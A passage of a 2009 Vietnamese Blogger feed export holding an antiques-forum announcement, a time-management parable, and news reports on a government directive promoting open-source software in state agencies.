class="Normal" align="right" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;strong&gt;Ngọc Châu - Song Linh&lt;/strong&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5882028794352676210?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5882028794352676210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5882028794352676210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5882028794352676210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5882028794352676210'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/04/toi-giu-cach-nhin-than-trong-ve-phuc.html' title='&apos;Tôi giữ cách nhìn thận trọng về phục hồi kinh tế&apos;'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-9140291456135953856</id><published>2009-04-16T21:13:00.001-07:00</published><updated>2009-04-16T21:34:30.552-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cổ Vật Tinh Hoa'/><title type='text'>Diễn đàn Cổ Vật Tinh Hoa</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://covattinhhoa.com/diendan/picture.php?albumid=14&amp;amp;pictureid=270"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 600px; height: 450px;" src="http://covattinhhoa.com/diendan/picture.php?albumid=14&amp;amp;pictureid=270" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Xin chân trọng được mời tất cả các bạn tham gia diễn đàn&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; Cổ Vật Tinh Hoa&lt;/span&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Diễn đàn là nơi giao lưu, trao đổi về của vật của những người yêu thích cổ ngọan trong và ngoài nước.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Có thể nói rằng đây là diễn đàn chính thức đầu tiên về cổ vật được ra mắt ở Việt Nam, diễn đàn được manh nhúm từ năm 2007, tuy nhiên do 1 số yếu tố, đến năm 2009, diễn đàn mới chính thức được ra mắt.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tham vọng của diễn đàn là sẽ tạo lập được 1 bức tranh toàn cảnh về cổ vật ở Việt nam ( chủ yếu bao gồm cổ vật của Trung Quốc và Việt nam), từ đó sẽ có thể hình thành được các bộ sưu tập phong phú về chủng loại cũng như đa dạng về văn hóa.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Với mục đích là nơi giao lưu về cổ vật, nên các chức năng của diễn đàn được thiểt kế dành riêng cho vấn đề quản lý cổ vật để các thành viên có thể dễ ràng quản lý bộ sưu tập của mình cũng như giới thiệu, quảng bá bộ sưu tập&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Diễn đàn Cổ Vật Tinh hoa được phân thành các chuyên mục theo chủng loại của cổ vật như Đồ gốm sứ, đồ đá quý, đồ đông-bạc -vàng, đồ gốm việt, đồ gỗ, đồ thủy tinh-pha lê, đồ gỗ, tiền cổ, đồ phỏng cổ.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Địa chỉ của diễn đàn:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;http://www.covattinhhoa.vn/diendan&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Xin giới thiệu một số ảnh của cổ vật tiêu biểu trên diễn đàn &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Cổ Vật Tinh Hoa&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-9140291456135953856?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/9140291456135953856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=9140291456135953856' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/9140291456135953856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/9140291456135953856'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/04/dien-co-vat-tinh-hoa.html' title='Diễn đàn Cổ Vật Tinh Hoa'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-7127276366440637740</id><published>2009-04-16T21:09:00.000-07:00</published><updated>2009-04-16T21:11:30.632-07:00</updated><title type='text'>hòn đá cuội</title><content type='html'>&lt;div&gt;Trong một buổi nói chuyện với một nhóm các doanh nhân, một chuyên gia trình bày về cách sử dụng thời gian có hiệu quả. Đứng trước những người khá thành đạt trong cuộc sống, ông mỉm cười: “Sau đây là một câu hỏi trắc nghiệm”. Ông ta lấy từ gầm bàn một cái lọ rộng miệng cỡ 4 lít và một cái túi chứa những hòn đá cuội to bằng nắm tay. Ông lần lượt đặt từng hòn đá vào lọ cho đến khi không bỏ vào được nữa. “Cái lọ đã đầy chưa?” – ông hỏi.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;“Đầy rồi” - mọi người đáp. “Thật không?” – ông lấy từ gầm bàn ra một túi sỏi nhỏ đổ từ từ vào lọ và lắc cho các hòn sỏi chen vào tất cả các khoảng trống giữa các hòn đá cuội. Ông nhoẻn miệng cười và hỏi: “Cái lọ đầy chưa?”&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lần này thì mọi người dường như bắt kịp ông. Ai đó trả lời: “Chắc là chưa”.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;“Tốt!” – ông nói và lấy ra một túi cát đổ vào lọ và cát chen đầy vào các khoảng trống giữa những hòn đá cuội và hòn sỏi. Một lần nữa, ông hỏi: “Cái lọ đầy chưa?”&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;“Chưa” - mọi người nhao nhao. “Tốt” – ông lập lại và vớ lấy bình nước đổ vào lọ cho đến khi nước ngập đến miệng lọ. Ông ngước nhìn mọi người và hỏi: “Minh họa này nói lên điều gì?”.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Một nhà kinh doanh nhanh nhẩu đáp: “Vấn đề là cho dù kế hoạch làm việc của bạn có sít sao thế nào đi nữa, nếu cố gắng bạn luôn có thể làm thêm nhiều việc nữa!”&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;“Không phải” – ông đáp – “Đó không phải là vấn đề. Điều mà minh họa vừa rồi nói lên là nếu bạn không đặt những hòn đá cuội vào lọ trước, bạn sẽ không bao giờ còn có thể nhét chúng vào được nữa”.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Cái gì là những “hòn đá cuội” trong cuộc sống của bạn? Có thể là một dự án, một hoài bão mà bạn muốn thực hiện, thời gian với những người mà bạn thương yêu, học vấn của bạn, sức khỏe của bạn.. Nhưng nhớ đặt những “hòn đá cuội” đó vào lọ trước hoặc bạn sẽ không bao giờ nhét chúng vào được. Chúng ta luôn cố gắng làm thật nhiều việc trong khoảng thời gian giới hạn của mình. Nhưng điều quan trọng là những việc mà bạn đang làm có thật sự có ý nghĩa?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Thế thì tối nay hay sáng mai khi bạn suy ngẫm về câu chuyện này, hãy tự hỏi chính bản thân mình rằng điều gì là những “hòn đá cuội” trong cuộc sống của chính bạn và hãy đặt chúng vào trong lọ trước.&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-7127276366440637740?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/7127276366440637740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=7127276366440637740' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/7127276366440637740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/7127276366440637740'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/04/hon-cuoi.html' title='hòn đá cuội'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-3249603092554728796</id><published>2009-01-05T22:24:00.001-08:00</published><updated>2009-01-05T22:24:45.641-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tin tức CNTT Vietnam'/><title type='text'>Hạn chế vi phạm bản quyền bằng việc sử dụng các phần mềm tự do nguồn mở</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;table align="center" width="95%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table align="center" border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="texttile" style="font-family: Arial; text-align: left; font-size: 11pt; color: rgb(0, 0, 0); font-weight: bold; margin-top: 5px; margin-bottom: 5px;" valign="top"&gt;&lt;a href="#" class="big" style="color: rgb(1, 78, 130); font-size: 11pt; font-weight: bold; text-decoration: none; font-family: arial;"&gt;Hạn chế vi phạm bản quyền bằng việc sử dụng các phần mềm tự do nguồn mở&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="title_cap3_1" style="font-family: Arial; text-align: left; font-size: 8pt; color: rgb(192, 192, 192); font-weight: normal; margin-top: 15px;" height="25" valign="top"&gt;&lt;p style="line-height: 1.4;"&gt;Cập nhật lúc 16h05" , ngày 03/01/2009 -&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="ymsgr:im?msg=han%20che%20vi%20pham%20ban%20quyen%20bang%20viec%20su%20dung%20cac%20phan%20mem%20tu%20do%20nguon%20mo%3A+%0A+http://www.vnmedia.vn/newsdetail.asp?newsid=153413%26catid=35%26title=newsid_153413_catid_35%0A" style="color: rgb(17, 17, 128); font-size: 10pt; font-weight: normal; text-decoration: none; font-family: Arial;"&gt;&lt;span style="font-family:Verdana;font-size:78%;color:#000000;"&gt;&lt;img src="/images/icon_ym.gif" align="absmiddle" border="0" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="news_body" style="font-family: Arial; text-align: justify; font-size: 10pt; color: rgb(0, 0, 0); font-weight: normal; margin-top: 5px; margin-bottom: 5px;" height="18"&gt;&lt;table style="border-collapse: collapse;" align="left" border="0" cellpadding="0" cellspacing="0" width="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table style="border-collapse: collapse;" align="left" border="1" cellpadding="0" cellspacing="0" width="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://vnmedia.vn/images_upload/small_187965.jpg" border="0" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="center"&gt;&lt;span style="font-family:Arial;font-size:78%;"&gt;Mọi bộ, ngành, doanh nghiệp, tổ chức Việt Nam sẽ cùng chung tay đẩy mạnh sử dụng phần mềm nguồn mở.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:Arial;"&gt;&lt;b&gt;&lt;i&gt;(VnMedia)&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;-&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;i&gt;Đây là nội dung quan trọng được nêu tại Chỉ thị&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="en-gb"&gt;v&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="EN-GB"&gt;ề đẩy mạnh sử dụng phần mềm mã nguồn mở trong hoạt động của cơ quan, tổ chức nhà nước&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;do Bộ trưởng Bộ Thông tin và Truyền thông Lê Doãn Hợp vừa ký ban hành ngày 30/12/2008.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Chỉ thị được ban hành&lt;i&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;nhằm đẩy mạnh sử dụng các phần mềm tự do nguồn mở (hay còn gọi là phần mềm mã nguồn mở- viết tắt là PMNM), góp phần hạn chế vi phạm bản quyền phần mềm&lt;/span&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Theo chỉ thị này,&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;các đơn vị chuyên trách về công nghệ thông tin (CNTT) của các Bộ, cơ quan ngang Bộ, cơ quan thuộc Chính phủ và các Sở Thông tin và Truyền thông (Sở TT&amp;amp;TT) của các tỉnh, thành phố trực thuộc Trung ương sẽ phải thực hiện một số nhiệm vụ trọng tâm cụ thể như: Chậm nhất đến ngày 30/6/2009, đảm bảo 100% máy trạm của đơn vị chuyên trách về CNTT và Sở TT&amp;amp;TT được cài đặt, 100% cán bộ, nhân viên được tập huấn, hướng dẫn sử dụng, trong đó tối thiểu 50% cán bộ, nhân viên có thể sử dụng thành thạo trong công việc và có khả năng hướng dẫn trợ giúp các cơ quan, đơn vị khác thuộc Bộ, ngành, tỉnh, thành phố; Chậm nhất đến ngày 31/12/2009, đảm bảo 70% máy trạm trong các cơ quan, đơn vị thuộc Bộ, ngành, tỉnh, thành phố được cài đặt, 70% cán bộ, nhân viên được tập huân, hướng dẫn sử dụng, trong đó tối thiểu 40% cán bộ, nhân viên sử dụng các phần mềm nêu trên trong công việc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;Có kế hoạch để từng bước nâng dần số văn bản, tài liệu, thông tin trao đổi trong các cơ quan, đơn vị thuộc Bộ, ngành, tỉnh, thành phố được soạn thảo, xử lý bằng các phần mềm nêu trên; đảm bảo đến ngày 31/12/2010 hầu hết cán bộ, nhân viên trong các cơ quan, đơn vị thuộc Bộ, ngành, tỉnh, thành phố sử dụng các phần mềm nêu trên trong công việc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Th&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;am mưu, đề xuất với Thủ trưởng cơ quan Bộ, ngành, Chủ tịch Ủy ban nhân dân tỉnh, thành phố: các giải pháp, biện pháp để đảm bảo thực hiện được các nhiệm vụ nêu trên; lồng ghép, đưa các nội dung của Chỉ thị này vào kế hoạch ứng dụng CNTT của các cơ quan, đơn vị; tuyên truyền, vận động, khuyến khích phong trào thi đua giữa các cơ quan, đơn vị, cá nhân trong Bộ, ngành, tỉnh, thành phố về việc sử dụng PMNM; đưa việc ứng dụng CNTT nói chung và sử dụng PMNM nói riêng vào nội dung bình xét thi đua, khen thưởng hàng năm của các cá nhân, đơn vị.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Với&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;b&gt;&lt;i&gt;các hiệp hội và doanh nghiệp CNTT&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;sẽ phải tổ chức các hoạt động thiết thực, tạo điều kiện cho các thành viên trao đổi thông tin, kinh nghiệm để không ngừng nâng cao năng lực khai thác, cung cấp sản phẩm, dịch vụ PMNM; phối hợp, hỗ trợ các đơn vị chuyên trách về CNTT, các Sở TT&amp;amp;TT thực hiện nhiệm vụ nêu trên; hỗ trợ phát triển các cộng đồng PMNM của Việt Nam; thúc đẩy hợp tác quốc tế về PMNM và các hoạt động liên kết giữa cộng đồng PMNM Việt Nam với các tổ chức, cộng đồng PMNM thế giới.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;i&gt;Các doanh nghiệp cung cấp máy tính&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;phải cài đặt các phần mềm nêu trên vào các máy tính khi cung cấp cho các cơ quan, tổ chức nhà nước; Không được cung cấp ra thị trường các máy tính với những phần mềm không có bản quyền hợp pháp.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;i&gt;Các cơ sở, doanh nghiệp cung cấp dịch vụ đào tạo CNTT&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;tích cực, chủ động xây dựng các chương trình, giáo trình và tổ chức các khoá đào tạo về PMNM; đưa nội dung đào tạo sử dụng các sản phẩm PMNM vào các chương trình đào tạo về tin học cơ bản, tin học văn phòng, tin học nâng cao.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;i&gt;Các doanh nghiệp phần mềm, các doanh nghiệp cung cấp dịch vụ CNTT&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;nâng cao năng lực cung cấp dịch vụ phần mềm nói chung và PMNM nói riêng cho các cơ quan nhà nước theo hướng coi phần mềm như là dịch vụ (SaaS); khuyến khích phát triển các ý tưởng, sản phẩm, dịch vụ dựa trên PMNM.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Trong nội bộ cá&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;c cơ quan đơn vị thuộc Bộ Thông tin và Truyền thông cũng phải thực hiện những đầu việc cụ thể như Vụ Công nghệ thông tin chủ trì, phối hợp với Văn phòng CNTT thuộc Bộ Khoa học và Công nghệ và các đơn vị liên quan cập nhật danh mục các PMNM đáp ứng yêu cầu sử dụng trong các cơ quan, tổ chức nhà nước; Hoàn thiện các tài liệu hướng dẫn sử dụng; Tổ chức, hỗ trợ cộng đồng thực hiện Việt hoá các sản phẩm PMNM; Điều tra, khảo sát, tổng hợp và cung cấp lên mạng: danh sách, địa chỉ các doanh nghiệp cung cấp dịch vụ PMNM, các cơ sở, doanh nghiệp cung cấp dịch vụ đào tạo về PMNM; các phiên bản cài đặt, tài liệu kỹ thuật, hướng dẫn sử dụng các PMNM thông dụng; Hướng dẫn, kiểm tra, đôn đốc việc thực hiện Chỉ thị; tiếp nhận, tổng hợp phối hợp với các cơ quan, đơn vị có liên quan giải quyết theo thẩm quyền, hoặc báo cáo Bộ trưởng giải quyết các kiến nghị, đề xuất của các Bộ, ngành, địa phương về ứng dụng và phát triển PMNM, cũng như những vướng mắc phát sinh trong quá trình triển khai Chỉ thị; tổng hợp báo cáo Bộ trưởng kết quả việc thực hiện.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;Cục Ứng dụng Công nghệ thông tin chủ động lồng ghép, đưa các nội dung của Chỉ thị này, cũng như các nội dung, nhiệm vụ thúc đẩy ứng dụng PMNM nói chung, vào trong các văn bản quy định, hướng dẫn về ứng dụng CNTT, các văn bản hướng dẫn xây dựng kế hoạch, chương trình, dự án ứng dụng CNTT trong hoạt động của cơ quan nhà nước.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;&lt;span style="font-size:85%;"&gt;Viện Công nghiệp phần mềm và nội dung số Việt Nam, Trung tâm Ứng cứu khẩn cấp máy tính Việt Nam (VNCERT): Chuẩn bị lực lượng sẵn sàng hỗ trợ các Bộ, ngành, địa phương triển khai sử dụng các PMNM nêu trên; Phối hợp với Vụ CNTT xem xét, cập nhật Danh mục các PMNM đáp ứng được yêu cầu sử dụng trong các cơ quan, tổ chức nhà nước.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: 1.4;" align="justify"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="line-height: 1.4;" lang="da"&gt;&lt;span style="font-family: Arial; line-height: 1.4;"&gt;Đ&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Arial; line-height: 1.4;" lang="DA"&gt;ược biết, thực hiện Quyết định số 235/2004/QĐ-TTg ngày 02 tháng 3 năm 2004 của Thủ tướng Chính phủ phê duyệt Dự án tổng thể về Ứng dụng và phát triển phần mềm nguồn mở ở Việt Nam giai đoạn 2004-2008, tới nay, Bộ Thông tin và Truyền thông đã ban hành Danh mục các sản phẩm phần mềm mã nguồn mở đáp ứng được yêu cầu sử dụng trong các cơ quan, tổ chức nhà nước (gồm các phần mềm: văn phòng OpenOffice, thư điện tử trên máy trạm Mozilla ThunderBird, trình duyệt web Mozilla FireFox và bộ gõ tiếng Việt Unikey); Bộ Khoa học và Công nghệ đã xây dựng tài liệu hướng dẫn sử dụng và tổ chức tập huấn các phần mềm này cho nhiều cơ quan, tổ chức nhà nước trên toàn quốc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="textbody" style="line-height: 1.4; font-family: Arial; text-align: left; font-size: 8pt; color: rgb(128, 128, 128); font-weight: bold;" align="right"&gt;&lt;span style="color:#999999;"&gt;&lt;em&gt;Thuỷ Nguyên&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textbody" style="line-height: 1.4; font-family: Arial; text-align: left; font-size: 8pt; color: rgb(128, 128, 128); font-weight: bold;" align="right"&gt;&lt;span style="color:#999999;"&gt;&lt;em&gt;Url: &lt;/em&gt;&lt;/span&gt;&lt;a href="http://www.vnmedia.vn/newsdetail.asp?NewsId=153413&amp;amp;CatId=35"&gt;http://www.vnmedia.vn/newsdetail.asp?NewsId=153413&amp;amp;CatId=35&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-3249603092554728796?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/3249603092554728796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=3249603092554728796' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3249603092554728796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3249603092554728796'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/01/hn-ch-vi-phm-bn-quyn-bng-vic-s-dng-cc.html' title='Hạn chế vi phạm bản quyền bằng việc sử dụng các phần mềm tự do nguồn mở'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-7092059854556615332</id><published>2009-01-05T22:21:00.000-08:00</published><updated>2009-01-05T22:22:44.354-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tin tức CNTT Vietnam'/><title type='text'>Việt Nam sắp sử dụng phần mềm nguồn mở trên diện rộng</title><content type='html'>&lt;h1&gt;Việt Nam sắp sử dụng phần mềm nguồn mở trên diện rộng&lt;/h1&gt;    &lt;div class="news_source_detail"&gt;     &lt;a href="http://www.tin247.com/05/01/2009.html"&gt;Cập nhật: Hôm qua, lúc 13:53 - Nguồn: &lt;script language="javascript"&gt;news_source(19);&lt;/script&gt;VietNamNet.vn&lt;/a&gt;&lt;br /&gt;    Dưới đây là phiên bản cache tại địa chỉ &lt;b&gt;&lt;script language="javascript"&gt;document.write(String.fromCharCode(104,116,116,112,58,47,47,118,105,101,116,110,97,109,110,101,116,46,118,110,47,99,110,116,116,47,50,48,48,57,47,48,49,47,56,50,50,49,55,54,47,32));&lt;/script&gt;http://vietnamnet.vn/cntt/2009/01/822176/ &lt;/b&gt;    &lt;/div&gt;&lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="font-size:85%;"&gt; - Chỉ thị 07/2008 của Bộ trưởng Bộ TT&amp;amp;TT Lê Doãn Hợp vừa ban hành nêu rõ: Chậm nhất đến ngày 